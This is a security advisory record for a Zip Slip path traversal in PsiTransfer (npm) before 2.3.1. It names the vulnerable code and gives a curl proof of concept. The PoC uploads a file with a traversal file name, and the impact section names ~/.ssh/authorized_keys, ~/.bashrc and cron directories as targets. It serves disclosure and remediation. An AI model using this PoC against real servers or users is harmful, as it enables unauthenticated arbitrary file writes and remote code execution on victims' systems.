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TI-2025-43873 Aliases GHSA-xphh-5v4r-r3rx

PsiTransfer has Zip Slip Path Traversal via TAR Archive Download

Priority LOW 38CWE-22Published · Updated

Key facts

Attack vector
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Privileges required
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User interaction
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Attack complexity
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Impact type
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Confidentiality · integrity · availability
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Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

### Summary A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE. ### Details The vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries. ``` lib/endpoints.js:275 const entry = pack.entry({ name: info.metadata.name, size: info.size }); ``` ``` lib/endpoints.js:372 assert(meta.name, 'tus meta prop missing: name'); ``` ### PoC I. Upload file with malicious filename (no authentication required). ``` MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64) SID=$(echo -n "evil" | base64) RETENTION=$(echo -n "3600" | base64) curl -X POST http://TARGET:3000/files \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Length: 15" \ -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}" ``` II. Complete upload with PATCH ``` curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -d "MALICIOUS_CONTENT" ``` III. Victim downloads and extracts TAR ``` curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz tar -tzf files.tar.gz ``` ### Impact Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has **uploadPass: false**. Social Engineering Vector: Attacker sends malicious download link to victim.

Why it matters now

Fix Fixed psitransfer (npm): 2.3.1

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—psitransfer (npm)before 2.3.12.3.1Patch availableGHSA-xphh-5v4r-r3rx
  • psitransfer (npm) Vendor— Affected before 2.3.1 Fixed in 2.3.1 Patch available GHSA-xphh-5v4r-r3rx

Remediation

  • Fix · GHSA-xphh-5v4r-r3rx psitransfer (npm) Fixed in 2.3.1 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-xphh-5v4r-r3rx

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